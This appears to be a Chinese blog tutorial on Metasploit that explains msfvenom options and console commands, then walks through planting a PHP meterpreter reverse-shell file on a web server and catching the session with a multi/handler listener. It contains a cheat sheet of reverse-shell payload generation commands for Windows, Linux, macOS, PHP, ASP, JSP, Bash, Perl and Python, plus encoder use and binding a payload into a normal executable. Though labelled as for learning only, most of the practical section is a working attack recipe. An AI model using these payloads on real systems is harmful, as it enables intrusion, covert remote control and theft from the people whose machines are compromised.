一.msfconsole介绍

msfconsole简称msf是一款常用的渗透测试工具,包含了常见的漏洞利用模块和生成各种渗透文件,利用网站,手机等的漏洞将到目标靶机,操控目标靶机…这边仅供学习使用

msfconsole

在这里插入图片描述

注:默认kali 预装了metasploit-framework,即msfconsole命令,如果没有或提示:

msfconsole:commad not found
请自行安装:apt install metasploit-framework

生成payload时常见参数说明:

-p, –payload < payload> 指定需要使用的payload(攻击荷载)。也可以使用自定义payload,几乎是支持全平台的
-l, –list [module_type] 列出指定模块的所有可用资源. 模块类型包括: payloads, encoders, nops, all
-n, –nopsled < length> 为payload预先指定一个NOP滑动长度
-f, –format < format> 指定输出格式 (使用 –help-formats 来获取msf支持的输出格式列表)
-e, –encoder [encoder] 指定需要使用的encoder(编码器),指定需要使用的编码,如果既没用-e选项也没用-b选项,则输出raw payload
-a, –arch < architecture> 指定payload的目标架构,例如x86 | x64 | x86_64
–platform < platform> 指定payload的目标平台
-s, –space < length> 设定有效攻击荷载的最大长度,就是文件大小
-b, –bad-chars < list> 设定规避字符集,指定需要过滤的坏字符例如:不使用 '\x0f'、'\x00';
-i, –iterations < count> 指定payload的编码次数
-c, –add-code < path> 指定一个附加的win32 shellcode文件
-x, –template < path> 指定一个自定义的可执行文件作为模板,并将payload嵌入其中
-k, –keep 保护模板程序的动作,注入的payload作为一个新的进程运行
–payload-options 列举payload的标准选项
-o, –out < path> 指定创建好的payload的存放位置
-v, –var-name < name> 指定一个自定义的变量,以确定输出格式
–shellest 最小化生成payload
-h, –help 查看帮助选项
–help-formats 查看msf支持的输出格式列表

msf控制台参数运用

- banner #这个主要是查看metasploit的版本信息,利用模块数量、payload数量等等。
- use #这个是使用参数。如你要使用到某个利用模块,payload等,那么就要使用到use参数
- Search #当你使用msfconsole的时候,你会用到各种漏洞模块、各种插件等等。所以search命令就很重要。
  使用命令 `help search` 可以查看具体使用方法;
  其他使用方法:
  查mysql:`search name:mysql`; 查joomla:`search joomla`;查ubutu漏洞:`searchsploit ubuntu 16.04`;查ms08-067漏洞:`search ms08-067`
  ......
- show #这个命令用的很多。如果单纯的输入show,那么就会显示出所有的payload,利用模块,post模块,插件等等。但是一般我们都不这么使用。如果要显示利用模块,那么就输入show exploits。如果要显示payload,那么就输入show payloads。

参考博文地址:https://blog.csdn.net/zx77588023/article/details/119063685

二.实战

  1. 准备测试服务器及测试服务器环境:
    centos7 服务器;
    php运行环境,lnmp或者lamp,可简易化安装:
  • 小皮控制面板:yum install -y wget && wget -O install.sh https://notdocker.xp.cn/install.sh && sh install.sh
  • 宝塔控制面板:yum install -y wget && wget -O install.sh http://download.bt.cn/install/install_6.0.sh && sh install.sh ed8484bec
  1. 通过msf制作反弹链接,即php 渗透文件:
msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.78.129 lport=8080 -o venom.php

解析截图:
在这里插入图片描述
生成的venom.php文件内容大概如下:
在这里插入图片描述
注:使用文件时需去掉红色框中的内容/*,即可正常使用!

攻击其他平台的渗透文件生成命令示例如下;注意,命令中的

Your IP Address

需要自行替换为攻击主机的IP,

Your Port to Connect On

替换为你设置的端口

  • 普通生成:msfvenom -p windows/meterpreter/reverse_tcp -f exe -o C:\back.exe
  • 编码处理型:msfvenom -p windows/meterpreter/reverse_tcp -i 3 -e x86/shikata_ga_na -f exe -o C:\back.exe
  • 捆绑:msfvenom -p windows/meterpreter/reverse_tcp -platform windows -a x86 -x C:\nomal.exe -k -f exe -o C:\shell.exe
  • Windows: msfvenom -platform windows -a x86 -p windows/x64/meterpreter/reverse_tcp -f exe -o C:\back.exe
  • Linux: msfvenom -p linux/*86/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f elf > shell.elf
  • MAC: msfvenom -p osx/x86/shelLreverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f macho > shell.macho
  • PHP: msfvenom -p php/meterpreterreverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.php
  • AsP: msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f asp > shell.asp
  • Aspx: msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f asp > shell.aspx
  • JSP: msfvenom – p java/jsp_shellreverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.jsp
  • War:msfvenom -p java/jsp_shelLreverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f war > shell.war
  • Bash: msfvenom -p cmd/unix/reverse_bash LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.sh
  • Perl: msfvenom -p cmd/unix/reverse_perl LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.pl
  • Python: msfvenom -p python/meterpreter/reverser_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.py
  1. 将生成好的渗透文件上传至服务器,这边上传走的是正常的上传文件,一般情况下需要利用服务器,或者网站等一些漏洞进行渗透注入,该教程暂不演示;这边生成的是venom.php php网站目录文件,所以上传到自建的网站的根目录下!
  2. 打开另外一个终端,启动msf控制面板,启动如文首一内的msfconsole简介,在msf控制面板依次输入以下命令:
   use exploit/multi/handler #使用监听模块
   set payload php/meterpreter/reverse_tcp #设置tcp_php的反弹链接,和渗透文件的payload保持一致
   set lhost 192.168.78.129 #本机ip,与生成渗透文件的host保持一致
   set lport 8080 #本机端口,与生成渗透文件保持一致
   exploit

执行完成后会出现以下界面,然后静待有人访问网站;

在这里插入图片描述
访问站点链接:
在这里插入图片描述
当有人访问了我们上传的venom.php时,会出现如下界面,进入到meterpreter控制台:
在这里插入图片描述
上面表示我们已经成功控链接到网站,可自行尝试读取!以下为执行的一些命令尝试:
在这里插入图片描述

教程演示仅做测学习!!!!